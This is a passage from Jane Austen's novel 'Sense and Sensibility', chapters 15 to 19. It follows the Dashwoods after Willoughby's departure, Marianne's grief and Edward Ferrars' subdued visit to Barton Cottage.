unwillingness to accept your invitation here?"-- + +"It was not inclination that he wanted, Elinor; I could +plainly see THAT. He had not the power of accepting it. +I have thought it all over I assure you, and I can +perfectly account for every thing that at first seemed +strange to me as well as to you." + +"Can you, indeed!" + +"Yes. I have explained it to myself in the most +satisfactory way;--but you, Elinor, who love to doubt +where you can--it will not satisfy YOU, I know; but you +shall not talk ME out of my trust in it. I am persuaded +that Mrs. Smith suspects his regard for Marianne, +disapproves of it, (perhaps because she has other views +for him,) and on that account is eager to get him away;-- +and that the business which she sends him off to transact +is invented as an excuse to dismiss him. This is what I +believe to have happened. He is, moreover, aware that she +DOES disapprove the connection, he dares not therefore +at present confess to her his engagement with Marianne, +and he feels himself obliged, from his dependent situation, +to give into her schemes, and absent himself from +Devonshire for a while. You will tell me, I know, +that this may or may NOT have happened; but I will listen +to no cavil, unless you can point out any other method +of understanding the affair as satisfactory at this. +And now, Elinor, what have you to say?" + +"Nothing, for you have anticipated my answer." + +"Then you would have told me, that it might or might not +have happened. Oh, Elinor, how incomprehensible are your +feelings! You had rather take evil upon credit than good. +You had rather look out for misery for Marianne, and guilt +for poor Willoughby, than an apology for the latter. +You are resolved to think him blameable, because he took +leave of us with less affection than his usual behaviour +has shewn. And is no allowance to be made for inadvertence, +or for spirits depressed by recent disappointment? Are +no probabilities to be accepted, merely because they +are not certainties? Is nothing due to the man whom we +have all such reason to love, and no reason in the world +to think ill of? To the possibility of motives unanswerable +in themselves, though unavoidably secret for a while? And, +after all, what is it you suspect him of?" + +"I can hardly tell myself. But suspicion of +something unpleasant is the inevitable consequence +of such an alteration as we just witnessed in him. +There is great truth, however, in what you have now urged +of the allowances which ought to be made for him, and it +is my wish to be candid in my judgment of every body. +Willoughby may undoubtedly have very sufficient +reasons for his conduct, and I will hope that he has. +But it would have been more like Willoughby to acknowledge +them at once. Secrecy may be advisable; but still I +cannot help wondering at its being practiced by him." + +"Do not blame him, however, for departing from +his character, where the deviation is necessary. +But you really do admit the justice of what I have said +in his defence?--I am happy--and he is acquitted." + +"Not entirely. It may be proper to conceal their +engagement (if they ARE engaged) from Mrs. Smith-- +and if that is the case, it must be highly expedient +for Willoughby to be but little in Devonshire at present. +But this is no excuse for their concealing it from us." + +"Concealing it from us! my dear child, do you accuse +Willoughby and Marianne of concealment? This is strange +indeed, when your eyes have been reproaching them every day +for incautiousness." + +"I want no proof of their affection," said Elinor; +"but of their engagement I do." + +"I am perfectly satisfied of both." + +"Yet not a syllable has been said to you on the +subject, by either of them." + +"I have not wanted syllables where actions have +spoken so plainly. Has not his behaviour to Marianne +and to all of us, for at least the last fortnight, +declared that he loved and considered her as his future wife, +and that he felt for us the attachment of the nearest +relation? Have we not perfectly understood each other? +Has not my consent been daily asked by his looks, his manner, +his attentive and affectionate respect? My Elinor, +is it possible to doubt their engagement? How could +such a thought occur to you? How is it to be supposed +that Willoughby, persuaded as he must be of your +sister's love, should leave her, and leave her perhaps +for months, without telling her of his affection;--that +they should part without a mutual exchange of confidence?" + +"I confess," replied Elinor, "that every circumstance +except ONE is in favour of their engagement; +but that ONE is the total silence of both on the subject, +and with me it almost outweighs every other." + +"How strange this is! You must think wretchedly indeed +of Willoughby, if, after all that has openly passed between them, +you can doubt the nature of the terms on which they are together. +Has he been acting a part in his behaviour to your sister +all this time? Do you suppose him really indifferent to her?" + +"No, I cannot think that. He must and does love her +I am sure." + +"But with a strange kind of tenderness, if he can +leave her with such indifference, such carelessness +of the future, as you attribute to him." + +"You must remember, my dear mother, that I have never +considered this matter as certain. I have had my doubts, +I confess; but they are fainter than they were, and they +may soon be entirely done away. If we find they correspond, +every fear of mine will be removed." + +"A mighty concession indeed! If you were to see +them at the altar, you would suppose they were going to +be married. Ungracious girl! But I require no such proof. +Nothing in my opinion has ever passed to justify doubt; +no secrecy has been attempted; all has been uniformly open +and unreserved. You cannot doubt your sister's wishes. +It must be Willoughby therefore whom you suspect. But why? +Is he not a man of honour and feeling? Has there been any +inconsistency on his side to create alarm? can he be deceitful?" + +"I hope not, I believe not," cried Elinor. +"I love Willoughby, sincerely love him; and suspicion of his +integrity cannot be more painful to yourself than to me. +It has been involuntary, and I will not encourage it. +I was startled, I confess, by the alteration in his +manners this morning;--he did not speak like himself, +and did not return your kindness with any cordiality. +But all this may be explained by such a situation of his +affairs as you have supposed. He had just parted from +my sister, had seen her leave him in the greatest affliction; +and if he felt obliged, from a fear of offending Mrs. Smith, +to resist the temptation of returning here soon, and yet +aware that by declining your invitation, by saying +that he was going away for some time, he should seem +to act an ungenerous, a suspicious part by our family, +be might well be embarrassed and disturbed. In such a case, +a plain and open avowal of his difficulties would have been +more to his honour I think, as well as more consistent +with his general character;--but I will not raise objections +against any one's conduct on so illiberal a foundation, +as a difference in judgment from myself, or a deviation from +what I may think right and consistent." + +"You speak very properly. Willoughby certainly does +not deserve to be suspected. Though WE have not known +him long, he is no stranger in this part of the world; +and who has ever spoken to his disadvantage? Had he been +in a situation to act independently and marry immediately, +it might have been odd that he should leave us without +acknowledging everything to me at once: but this is not the case. +It is an engagement in some respects not prosperously begun, +for their marriage must be at a very uncertain distance; +and even secrecy, as far as it can be observed, may now +be very advisable." + +They were interrupted by the entrance of Margaret; +and Elinor was then at liberty to think over the representations +of her mother, to acknowledge the probability of many, +and hope for the justice of all. + +They saw nothing of Marianne till dinner time, +when she entered the room and took her place at the table +without saying a word. Her eyes were red and swollen; +and it seemed as if her tears were even then restrained +with difficulty. She avoided the looks of them all, +could neither eat nor speak, and after some time, on her +mother's silently pressing her hand with tender compassion, +her small degree of fortitude was quite overcome, she burst +into tears and left the room. + +This violent oppression of spirits continued the +whole evening. She was without any power, because she +was without any desire of command over herself. +The slightest mention of anything relative to Willoughby +overpowered her in an instant; and though her family +were most anxiously attentive to her comfort, it was +impossible for them, if they spoke at all, to keep clear +of every subject which her feelings connected with him. + + + +CHAPTER 16 + + +Marianne would have thought herself very inexcusable +had she been able to sleep at all the first night +after parting from Willoughby. She would have been +ashamed to look her family in the face the next morning, +had she not risen from her bed in more need of repose +than when she lay down in it. But the feelings which +made such composure a disgrace, left her in no danger +of incurring it. She was awake the whole night, and she +wept the greatest part of it. She got up with a headache, +was unable to talk, and unwilling to take any nourishment; +giving pain every moment to her mother and sisters, +and forbidding all attempt at consolation from either. +Her sensibility was potent enough! + +When breakfast was over she walked out by herself, +and wandered about the village of Allenham, indulging the +recollection of past enjoyment and crying over the present +reverse for the chief of the morning. + +The evening passed off in the equal indulgence of feeling. +She played over every favourite song that she had been used +to play to Willoughby, every air in which their voices +had been oftenest joined, and sat at the instrument gazing +on every line of music that he had written out for her, +till her heart was so heavy that no farther sadness +could be gained; and this nourishment of grief was every +day applied. She spent whole hours at the pianoforte +alternately singing and crying; her voice often totally +suspended by her tears. In books too, as well as in music, +she courted the misery which a contrast between the past +and present was certain of giving. She read nothing +but what they had been used to read together. + +Such violence of affliction indeed could not be supported +for ever; it sunk within a few days into a calmer melancholy; +but these employments, to which she daily recurred, +her solitary walks and silent meditations, still produced +occasional effusions of sorrow as lively as ever. + +No letter from Willoughby came; and none seemed expected +by Marianne. Her mother was surprised, and Elinor again +became uneasy. But Mrs. Dashwood could find explanations +whenever she wanted them, which at least satisfied herself. + +"Remember, Elinor," said she, "how very often Sir John +fetches our letters himself from the post, and carries them +to it. We have already agreed that secrecy may be necessary, +and we must acknowledge that it could not be maintained if +their correspondence were to pass through Sir John's hands." + +Elinor could not deny the truth of this, and she tried +to find in it a motive sufficient for their silence. +But there was one method so direct, so simple, and in +her opinion so eligible of knowing the real state +of the affair, and of instantly removing all mystery, +that she could not help suggesting it to her mother. + +"Why do you not ask Marianne at once," said she, +"whether she is or she is not engaged to Willoughby? From you, +her mother, and so kind, so indulgent a mother, the question +could not give offence. It would be the natural result +of your affection for her. She used to be all unreserve, +and to you more especially." + +"I would not ask such a question for the world. +Supposing it possible that they are not engaged, +what distress would not such an enquiry inflict! At any +rate it would be most ungenerous. I should never deserve +her confidence again, after forcing from her a confession +of what is meant at present to be unacknowledged to any one. +I know Marianne's heart: I know that she dearly loves me, +and that I shall not be the last to whom the affair is made +known, +when circumstances make the revealment of it eligible. +I would not attempt to force the confidence of any one; +of a child much less; because a sense of duty would prevent +the denial which her wishes might direct." + +Elinor thought this generosity overstrained, +considering her sister's youth, and urged the matter farther, +but in vain; common sense, common care, common prudence, +were all sunk in Mrs. Dashwood's romantic delicacy. + +It was several days before Willoughby's name +was mentioned before Marianne by any of her family; +Sir John and Mrs. Jennings, indeed, were not so nice; +their witticisms added pain to many a painful hour;-- +but one evening, Mrs. Dashwood, accidentally taking up a +volume of Shakespeare, exclaimed, + +"We have never finished Hamlet, Marianne; our dear +Willoughby went away before we could get through it. +We will put it by, that when he comes again...But it may +be months, perhaps, before THAT happens." + +"Months!" cried Marianne, with strong surprise. +"No--nor many weeks." + +Mrs. Dashwood was sorry for what she had said; +but it gave Elinor pleasure, as it produced a reply +from Marianne so expressive of confidence in Willoughby +and knowledge of his intentions. + +One morning, about a week after his leaving the country, +Marianne was prevailed on to join her sisters in their +usual walk, instead of wandering away by herself. +Hitherto she had carefully avoided every companion in +her rambles. If her sisters intended to walk on the downs, +she directly stole away towards the lanes; if they talked +of the valley, she was as speedy in climbing the hills, +and could never be found when the others set off. +But at length she was secured by the exertions of Elinor, +who greatly disapproved such continual seclusion. They walked +along the road through the valley, and chiefly in silence, +for Marianne's MIND could not be controlled, and Elinor, +satisfied with gaining one point, would not then attempt more. +Beyond the entrance of the valley, where the country, +though still rich, was less wild and more open, a long +stretch of the road which they had travelled on first coming +to Barton, lay before them; and on reaching that point, +they stopped to look around them, and examine a prospect +which formed the distance of their view from the cottage, +from a spot which they had never happened to reach in any +of their walks before. + +Amongst the objects in the scene, they soon discovered +an animated one; it was a man on horseback riding towards them. +In a few minutes they could distinguish him to be a gentleman; +and in a moment afterwards Marianne rapturously exclaimed, + +"It is he; it is indeed;--I know it is!"--and was +hastening to meet him, when Elinor cried out, + +"Indeed, Marianne, I think you are mistaken. It is +not Willoughby. The person is not tall enough for him, +and has not his air." + +"He has, he has," cried Marianne, "I am sure he has. +His air, his coat, his horse. I knew how soon he would come." + +She walked eagerly on as she spoke; and Elinor, +to screen Marianne from particularity, as she felt almost +certain of its not being Willoughby, quickened her +pace and kept up with her. They were soon within +thirty yards of the gentleman. Marianne looked again; +her heart sunk within her; and abruptly turning round, +she was hurrying back, when the voices of both her sisters +were raised to detain her; a third, almost as well known +as Willoughby's, joined them in begging her to stop, +and she turned round with surprise to see and welcome +Edward Ferrars. + +He was the only person in the world who could +at that moment be forgiven for not being Willoughby; +the only one who could have gained a smile from her; +but she dispersed her tears to smile on HIM, and in her +sister's happiness forgot for a time her own disappointment. + +He dismounted, and giving his horse to his servant, +walked back with them to Barton, whither he was purposely +coming to visit them. + +He was welcomed by them all with great cordiality, +but especially by Marianne, who showed more warmth of +regard in her reception of him than even Elinor herself. +To Marianne, indeed, the meeting between Edward and her sister +was but a continuation of that unaccountable coldness which she +had often observed at Norland in their mutual behaviour. +On Edward's side, more particularly, there was a deficiency +of all that a lover ought to look and say on such an occasion. +He was confused, seemed scarcely sensible of pleasure +in seeing them, looked neither rapturous nor gay, +said little but what was forced from him by questions, +and distinguished Elinor by no mark of affection. +Marianne saw and listened with increasing surprise. +She began almost to feel a dislike of Edward; and it ended, +as every feeling must end with her, by carrying back her +thoughts to Willoughby, whose manners formed a contrast +sufficiently striking to those of his brother elect. + +After a short silence which succeeded the first +surprise and enquiries of meeting, Marianne asked +Edward if he came directly from London. No, he had +been in Devonshire a fortnight. + +"A fortnight!" she repeated, surprised at his being +so long in the same county with Elinor without seeing +her before. + +He looked rather distressed as he added, that he +had been staying with some friends near Plymouth. + +"Have you been lately in Sussex?" said Elinor. + +"I was at Norland about a month ago." + +"And how does dear, dear Norland look?" cried Marianne. + +"Dear, dear Norland," said Elinor, "probably looks +much as it always does at this time of the year. +The woods and walks thickly covered with dead leaves." + +"Oh," cried Marianne, "with what transporting sensation +have I formerly seen them fall! How have I delighted, +as I walked, to see them driven in showers about me +by the wind! What feelings have they, the season, the air +altogether inspired! Now there is no one to regard them. +They are seen only as a nuisance, swept hastily off, +and driven as much as possible from the sight." + +"It is not every one," said Elinor, "who has your +passion for dead leaves." + +"No; my feelings are not often shared, not often +understood. But SOMETIMES they are."--As she said this, +she sunk into a reverie for a few moments;--but rousing +herself again, "Now, Edward," said she, calling his attention +to the prospect, "here is Barton valley. Look up to it, +and be tranquil if you can. Look at those hills! +Did you ever see their equals? To the left is Barton park, +amongst those woods and plantations. You may see the end +of the house. And there, beneath that farthest hill, +which rises with such grandeur, is our cottage." + +"It is a beautiful country," he replied; "but these +bottoms must be dirty in winter." + +"How can you think of dirt, with such objects before you?" + +"Because," replied he, smiling, "among the rest of the +objects before me, I see a very dirty lane." + +"How strange!" said Marianne to herself as she walked on. + +"Have you an agreeable neighbourhood here? Are the +Middletons pleasant people?" + +"No, not all," answered Marianne; "we could not +be more unfortunately situated." + +"Marianne," cried her sister, "how can you say so? How can +you be so unjust? They are a very respectable family, Mr. +Ferrars; +and towards us have behaved in the friendliest manner. Have you +forgot, Marianne, how many pleasant days we have owed to them?" + +"No," said Marianne, in a low voice, "nor how many +painful moments." + +Elinor took no notice of this; and directing +her attention to their visitor, endeavoured to support +something like discourse with him, by talking of their +present residence, its conveniences, &c. extorting from him +occasional questions and remarks. His coldness and reserve +mortified her severely; she was vexed and half angry; +but resolving to regulate her behaviour to him by the past +rather than the present, she avoided every appearance +of resentment or displeasure, and treated him as she +thought he ought to be treated from the family connection. + + + +CHAPTER 17 + + +Mrs. Dashwood was surprised only for a moment at +seeing him; for his coming to Barton was, in her opinion, +of all things the most natural. Her joy and expression +of regard long outlived her wonder. He received the kindest +welcome from her; and shyness, coldness, reserve could not +stand against such a reception. They had begun to fail him +before he entered the house, and they were quite overcome +by the captivating manners of Mrs. Dashwood. Indeed a man +could not very well be in love with either of her daughters, +without extending the passion to her; and Elinor had the +satisfaction of seeing him soon become more like himself. +His affections seemed to reanimate towards them all, +and his interest in their welfare again became perceptible. +He was not in spirits, however; he praised their house, +admired its prospect, was attentive, and kind; but still +he was not in spirits. The whole family perceived it, +and Mrs. Dashwood, attributing it to some want of liberality +in his mother, sat down to table indignant against all +selfish parents. + +"What are Mrs. Ferrars's views for you at present, Edward?" +said she, when dinner was over and they had drawn round +the fire; "are you still to be a great orator in spite of +yourself?" + +"No. I hope my mother is now convinced that I have +no more talents than inclination for a public life!" + +"But how is your fame to be established? for famous you +must be to satisfy all your family; and with no inclination +for expense, no affection for strangers, no profession, +and no assurance, you may find it a difficult matter." + +"I shall not attempt it. I have no wish to be +distinguished; and have every reason to hope I never shall. +Thank Heaven! I cannot be forced into genius and eloquence." + +"You have no ambition, I well know. Your wishes +are all moderate." + +"As moderate as those of the rest of the world, +I believe. I wish as well as every body else to be +perfectly happy; but, like every body else it must be +in my own way. Greatness will not make me so." + +"Strange that it would!" cried Marianne. "What have +wealth or grandeur to do with happiness?" + +"Grandeur has but little," said Elinor, "but wealth +has much to do with it." + +"Elinor, for shame!" said Marianne, "money can only +give happiness where there is nothing else to give it. +Beyond a competence, it can afford no real satisfaction, +as far as mere self is concerned." + +"Perhaps," said Elinor, smiling, "we may come +to the same point. YOUR competence and MY wealth +are very much alike, I dare say; and without them, +as the world goes now, we shall both agree that every +kind of external comfort must be wanting. Your ideas +are only more noble than mine. Come, what is your competence?" + +"About eighteen hundred or two thousand a year; +not more than THAT." + +Elinor laughed. "TWO thousand a year! ONE is my +wealth! I guessed how it would end." + +"And yet two thousand a-year is a very moderate income," +said Marianne. "A family cannot well be maintained on +a smaller. I am sure I am not extravagant in my demands. +A proper establishment of servants, a carriage, perhaps two, +and hunters, cannot be supported on less." + +Elinor smiled again, to hear her sister describing +so accurately their future expenses at Combe Magna. + +"Hunters!" repeated Edward--"but why must you have +hunters? Every body does not hunt." + +Marianne coloured as she replied, "But most people do." + +"I wish," said Margaret, striking out a novel thought, +"that somebody would give us all a large fortune apiece!" + +"Oh that they would!" cried Marianne, her eyes +sparkling with animation, and her cheeks glowing +with the delight of such imaginary happiness. + +"We are all unanimous in that wish, I suppose," +said Elinor, "in spite of the insufficiency of wealth." + +"Oh dear!" cried Margaret, "how happy I should be! +I wonder what I should do with it!" + +Marianne looked as if she had no doubt on that point. + +"I should be puzzled to spend so large a fortune myself," +said Mrs. Dashwood, "if my children were all to be rich +my help." + +"You must begin your improvements on this house," +observed Elinor, "and your difficulties will soon vanish." + +"What magnificent orders would travel from this family +to London," said Edward, "in such an event! What a happy +day for booksellers, music-sellers, and print-shops! You, +Miss Dashwood, would give a general commission for every +new print of merit to be sent you--and as for Marianne, +I know her greatness of soul, there would not be music enough +in London to content her. And books!--Thomson, Cowper, +Scott--she would buy them all over and over again: she +would buy up every copy, I believe, to prevent their +falling into unworthy hands; and she would have every +book that tells her how to admire an old twisted tree. +Should not you, Marianne? Forgive me, if I am very saucy. +But I was willing to shew you that I had not forgot our +old disputes." + +"I love to be reminded of the past, Edward--whether it +be melancholy or gay, I love to recall it--and you +will never offend me by talking of former times. +You are very right in supposing how my money would be +spent--some of it, at least--my loose cash would certainly +be employed in improving my collection of music and books." + +"And the bulk of your fortune would be laid out +in annuities on the authors or their heirs." + +"No, Edward, I should have something else to do +with it." + +"Perhaps, then, you would bestow it as a reward on that +person who wrote the ablest defence of your favourite maxim, +that no one can ever be in love more than once in their +life--your opinion on that point is unchanged, I presume?" + +"Undoubtedly. At my time of life opinions are tolerably fixed. +It is not likely that I should now see or hear any thing to +change them." + +"Marianne is as steadfast as ever, you see," said Elinor, +"she is not at all altered." + +"She is only grown a little more grave than she was." + +"Nay, Edward," said Marianne, "you need not reproach me. +You are not very gay yourself." + +"Why should you think so!" replied he, with a sigh. +"But gaiety never was a part of MY character." + +"Nor do I think it a part of Marianne's," said Elinor; +"I should hardly call her a lively girl--she is very earnest, +very eager in all she does--sometimes talks a great deal +and always with animation--but she is not often really merry." + +"I believe you are right," he replied, "and yet I +have always set her down as a lively girl." + +"I have frequently detected myself in such kind of mistakes," +said Elinor, "in a total misapprehension of character in some +point or other: fancying people so much more gay or grave, +or ingenious or stupid than they really are, and I can +hardly tell why or in what the deception originated. +Sometimes one is guided by what they say of themselves, +and very frequently by what other people say of them, +without giving oneself time to deliberate and judge." + +"But I thought it was right, Elinor," said Marianne, +"to be guided wholly by the opinion of other people. +I thought our judgments were given us merely to be subservient +to those of neighbours. This has always been your doctrine, +I am sure." + +"No, Marianne, never. My doctrine has never aimed +at the subjection of the understanding. All I have +ever attempted to influence has been the behaviour. +You must not confound my meaning. I am guilty, I confess, +of having often wished you to treat our acquaintance +in general with greater attention; but when have I advised +you to adopt their sentiments or to conform to their +judgment in serious matters?" + +"You have not been able to bring your sister over to your +plan of general civility," said Edward to Elinor, "Do you gain +no ground?" + +"Quite the contrary," replied Elinor, +looking expressively at Marianne. + +"My judgment," he returned, "is all on your side +of the question; but I am afraid my practice is much +more on your sister's. I never wish to offend, but I +am so foolishly shy, that I often seem negligent, +when I am only kept back by my natural awkwardness. +I have frequently thought that I must have been intended +by nature to be fond of low company, I am so little at +my ease among strangers of gentility!" + +"Marianne has not shyness to excuse any inattention +of hers," said Elinor. + +"She knows her own worth too well for false shame," +replied Edward. "Shyness is only the effect of a sense +of inferiority in some way or other. If I could persuade +myself that my manners were perfectly easy and graceful, +I should not be shy." + +"But you would still be reserved," said Marianne, +"and that is worse." + +Edward started--"Reserved! Am I reserved, Marianne?" + +"Yes, very." + +"I do not understand you," replied he, colouring. +"Reserved!--how, in what manner? What am I to tell you? +What can you suppose?" + +Elinor looked surprised at his emotion; but trying +to laugh off the subject, she said to him, "Do not you +know my sister well enough to understand what she means? +Do not you know she calls every one reserved who does not +talk as fast, and admire what she admires as rapturously +as herself?" + +Edward made no answer. His gravity and thoughtfulness +returned on him in their fullest extent--and he sat +for some time silent and dull. + + + +CHAPTER 18 + + +Elinor saw, with great uneasiness the low spirits +of her friend. His visit afforded her but a very +partial satisfaction, while his own enjoyment in it +appeared so imperfect. It was evident that he was unhappy; +she wished it were equally evident that he still +distinguished her by the same affection which once +she had felt no doubt of inspiring; but hitherto the +continuance of his preference seemed very uncertain; +and the reservedness of his manner towards her contradicted +one moment what a more animated look had intimated the preceding +one. + +He joined her and Marianne in the breakfast-room +the next morning before the others were down; and Marianne, +who was always eager to promote their happiness as far +as she could, soon left them to themselves. But before she +was half way upstairs she heard the parlour door open, and, +turning round, was astonished to see Edward himself come out. + +"I am going into the village to see my horses," +said be, "as you are not yet ready for breakfast; I shall +be back again presently." + + *** + +Edward returned to them with fresh admiration +of the surrounding country; in his walk to the village, +he had seen many parts of the valley to advantage; +and the village itself, in a much higher situation than +the cottage, afforded a general view of the whole, which had +exceedingly pleased him. This was a subject which ensured +Marianne's attention, and she was beginning to describe +her own admiration of these scenes, and to question him more +minutely on the objects that had particularly struck him, +when Edward interrupted her by saying, "You must not +enquire too far, Marianne--remember I have no knowledge +in the picturesque, and I shall offend you by my ignorance +and want of taste if we come to particulars. I shall call +hills steep, which ought to be bold; surfaces strange +and uncouth, which ought to be irregular and rugged; +and distant objects out of sight, which ought only to be +indistinct through the soft medium of a hazy atmosphere. +You must be satisfied with such admiration as I can +honestly give. I call it a very fine country--the +hills are steep, the woods seem full of fine timber, +and the valley looks comfortable and snug--with rich +meadows and several neat farm houses scattered here +and there. It exactly answers my idea of a fine country, +because it unites beauty with utility--and I dare say it +is a picturesque one too, because you admire it; I can +easily believe it to be full of rocks and promontories, +grey moss and brush wood, but these are all lost on me. +I know nothing of the picturesque." + +"I am afraid it is but too true," said Marianne; +"but why should you boast of it?" + +"I suspect," said Elinor, "that to avoid one kind +of affectation, Edward here falls into another. Because he +believes many people pretend to more admiration of the beauties +of nature than they really feel, and is disgusted with +such pretensions, he affects greater indifference and less +discrimination in viewing them himself than he possesses. +He is fastidious and will have an affectation of his own." + +"It is very true," said Marianne, "that admiration +of landscape scenery is become a mere jargon. +Every body pretends to feel and tries to describe with +the taste and elegance of him who first defined what +picturesque beauty was. I detest jargon of every kind, +and sometimes I have kept my feelings to myself, +because I could find no language to describe them +in but what was worn and hackneyed out of all sense and meaning." + +"I am convinced," said Edward, "that you really feel +all the delight in a fine prospect which you profess +to feel. But, in return, your sister must allow me +to feel no more than I profess. I like a fine prospect, +but not on picturesque principles. I do not like crooked, +twisted, blasted trees. I admire them much more if they +are tall, straight, and flourishing. I do not like ruined, +tattered cottages. I am not fond of nettles or thistles, +or heath blossoms. I have more pleasure in a snug +farm-house than a watch-tower--and a troop of tidy, +happy villages please me better than the finest banditti +in the world." + +Marianne looked with amazement at Edward, +with compassion at her sister. Elinor only laughed. + +The subject was continued no farther; and Marianne +remained thoughtfully silent, till a new object suddenly +engaged her attention. She was sitting by Edward, and +in taking his tea from Mrs. Dashwood, his hand passed +so directly before her, as to make a ring, with a plait +of hair in the centre, very conspicuous on one of his fingers. + +"I never saw you wear a ring before, Edward," she cried. +"Is that Fanny's hair? I remember her promising to give +you some. But I should have thought her hair had been darker." + +Marianne spoke inconsiderately what she really felt-- +but when she saw how much she had pained Edward, her own +vexation at her want of thought could not be surpassed +by his. He coloured very deeply, and giving a momentary +glance at Elinor, replied, "Yes; it is my sister's hair. +The setting always casts a different shade on it, +you know." + +Elinor had met his eye, and looked conscious likewise. +That the hair was her own, she instantaneously felt as +well satisfied as Marianne; the only difference in their +conclusions was, that what Marianne considered as a free +gift from her sister, Elinor was conscious must have been +procured by some theft or contrivance unknown to herself. +She was not in a humour, however, to regard it as an affront, +and affecting to take no notice of what passed, +by instantly talking of something else, she internally +resolved henceforward to catch every opportunity of eyeing +the hair and of satisfying herself, beyond all doubt, +that it was exactly the shade of her own. + +Edward's embarrassment lasted some time, and it +ended in an absence of mind still more settled. +He was particularly grave the whole morning. +Marianne severely censured herself for what she had said; +but her own forgiveness might have been more speedy, +had she known how little offence it had given her sister. + +Before the middle of the day, they were visited by Sir +John and Mrs. Jennings, who, having heard of the arrival +of a gentleman at the cottage, came to take a survey +of the guest. With the assistance of his mother-in-law, +Sir John was not long in discovering that the name of +Ferrars began with an F. and this prepared a future mine +of raillery against the devoted Elinor, which nothing but +the newness of their acquaintance with Edward could have +prevented from being immediately sprung. But, as it was, +she only learned, from some very significant looks, how far +their penetration, founded on Margaret's instructions, extended. + +Sir John never came to the Dashwoods without either +inviting them to dine at the park the next day, or to drink +tea with them that evening. On the present occasion, +for the better entertainment of their visitor, towards +whose amusement he felt himself bound to contribute, +he wished to engage them for both. + +"You MUST drink tea with us to night," said he, +"for we shall be quite alone--and tomorrow you must +absolutely dine with us, for we shall be a large party." + +Mrs. Jennings enforced the necessity. "And who knows +but you may raise a dance," said she. "And that will +tempt YOU, Miss Marianne." + +"A dance!" cried Marianne. "Impossible! Who is to dance?" + +"Who! why yourselves, and the Careys, and Whitakers +to be sure.--What! you thought nobody could dance +because a certain person that shall be nameless is gone!" + +"I wish with all my soul," cried Sir John, +"that Willoughby were among us again." + +This, and Marianne's blushing, gave new suspicions +to Edward. "And who is Willoughby?" said he, in a low voice, +to Miss Dashwood, by whom he was sitting. + +She gave him a brief reply. Marianne's countenance +was more communicative. Edward saw enough to comprehend, +not only the meaning of others, but such of Marianne's +expressions as had puzzled him before; and when their +visitors left them, he went immediately round her, and said, +in a whisper, "I have been guessing. Shall I tell you +my guess?" + +"What do you mean?" + +"Shall I tell you." + +"Certainly." + +"Well then; I guess that Mr. Willoughby hunts." + +Marianne was surprised and confused, yet she could +not help smiling at the quiet archness of his manner, +and after a moment's silence, said, + +"Oh, Edward! How can you?--But the time will come +I hope...I am sure you will like him." + +"I do not doubt it," replied he, rather astonished +at her earnestness and warmth; for had he not imagined it +to be a joke for the good of her acquaintance in general, +founded only on a something or a nothing between Mr. Willoughby +and herself, he would not have ventured to mention it. + + + +CHAPTER 19 + + +Edward remained a week at the cottage; he was earnestly +pressed by Mrs. Dashwood to stay longer; but, as if he +were bent only on self-mortification, he seemed resolved +to be gone when his enjoyment among his friends was at +the height. His spirits, during the last two or three days, +though still very unequal, were greatly improved--he grew +more and more partial to the house and environs--never +spoke of going away without a sigh--declared his time +to be wholly disengaged--even doubted to what place he +should go when he left them--but still, go he must. +Never had any week passed so quickly--he could hardly +believe it to be gone. He said so repeatedly; other things +he said too, which marked the turn of his feelings and gave +the lie to his actions. He had no pleasure at Norland; +he detested being in town; but either to Norland or London, +he must go. He valued their kindness beyond any thing, +and his greatest happiness was in being with them. +Yet, he must leave them at the end of a week, in spite +of their wishes and his own, and without any restraint +on his time. + +Elinor placed all that was astonishing in this +way of acting to his mother's account; and it was +happy for her that he had a mother whose character +was so imperfectly known to her, as to be the general +excuse for every thing strange on the part of her son. +Disappointed, however, and vexed as she was, and sometimes +displeased with his uncertain behaviour to herself, +she was very well disposed on the whole to regard his actions +with all the candid allowances and generous qualifications, +which had been rather more painfully extorted from her, +for Willoughby's service, by her mother. His want of spirits, +of openness, and of consistency, were most usually +attributed to his want of independence, and his better +knowledge of Mrs. Ferrars's disposition and designs. +The shortness of his visit, the steadiness of his purpose +in leaving them, originated in the same fettered inclination, +the same inevitable necessity of temporizing with his mother. +The old well-established grievance of duty against will, +parent against child, was the cause of all. She would have +been glad to know when these difficulties were to cease, +this opposition was to yield,--when Mrs. Ferrars would +be reformed, and her son be at liberty to be happy. +But from such vain wishes she was forced to turn for comfort +to the renewal of her confidence in Edward's affection, +to the remembrance of every mark of regard in look or word +which fell from him while at Barton, and above all +to that flattering proof of it which he constantly wore +round his finger. + +"I think, Edward," said Mrs. Dashwood, as they were +at breakfast the last morning, "you would be a happier man +if you had any profession to engage your time and give +an interest to your plans and actions. Some inconvenience +to your friends, indeed, might result from it--you +would not be able to give them so much of your time. +But (with a smile) you would be materially benefited +in one particular at least--you would know where to go +when you left them." + +"I do assure you," he replied, "that I have long +thought on this point, as you think now. It has been, +and is, and probably will always be a heavy misfortune +to me, that I have had no necessary business to engage me, +no profession to give me employment, or afford me any +thing like independence. But unfortunately my own nicety, +and the nicety of my friends, have made me what I am, +an idle, helpless being. We never could agree in our +choice of a profession. I always preferred the church, +as I still do. But that was not smart enough for my family. +They recommended the army. That was a great deal +too smart for me. The law was allowed to be genteel +enough; many young men, who had chambers in the Temple, +made a very good appearance in the first circles, +and drove about town in very knowing gigs. But I had +no inclination for the law, even in this less abstruse +study of it, which my family approved. As for the navy, +it had fashion on its side, but I was too old when the +subject was first started to enter it--and, at length, +as there was no necessity for my having any profession +at all, as I might be as dashing and expensive without +a red coat on my back as with one, idleness was pronounced +on the whole to be most advantageous and honourable, +and a young man of eighteen is not in general so earnestly +bent on being busy as to resist the solicitations of his +friends to do nothing. I was therefore entered at Oxford +and have been properly idle ever since." + +"The consequence of which, I suppose, will be," +said Mrs. Dashwood, "since leisure has not promoted +your own happiness, that your sons will be brought up +to as many pursuits, employments, professions, and trades +as Columella's." + +"They will be brought up," said he, in a serious accent, +"to be as unlike myself as is possible. In feeling, +in action, in condition, in every thing." + +"Come, come; this is all an effusion of immediate +want of spirits, Edward. You are in a melancholy humour, +and fancy that any one unlike yourself must be happy. +But remember that the pain of parting from friends +will be felt by every body at times, whatever be their +education or state. Know your own happiness. You want +nothing but patience--or give it a more fascinating name, +call it hope. Your mother will secure to you, in time, +that independence you are so anxious for; it is her duty, +and it will, it must ere long become her happiness to +prevent your whole youth from being wasted in discontent. +How much may not a few months do?" + +"I think," replied Edward, "that I may defy many +months to produce any good to me." + +This desponding turn of mind, though it could not +be communicated to Mrs. Dashwood, gave additional pain +to them all in the parting, which shortly took place, +and left an uncomfortable impression on Elinor's +feelings especially, which required some trouble and time +to subdue. But as it was her determination to subdue it, +and to prevent herself from appearing 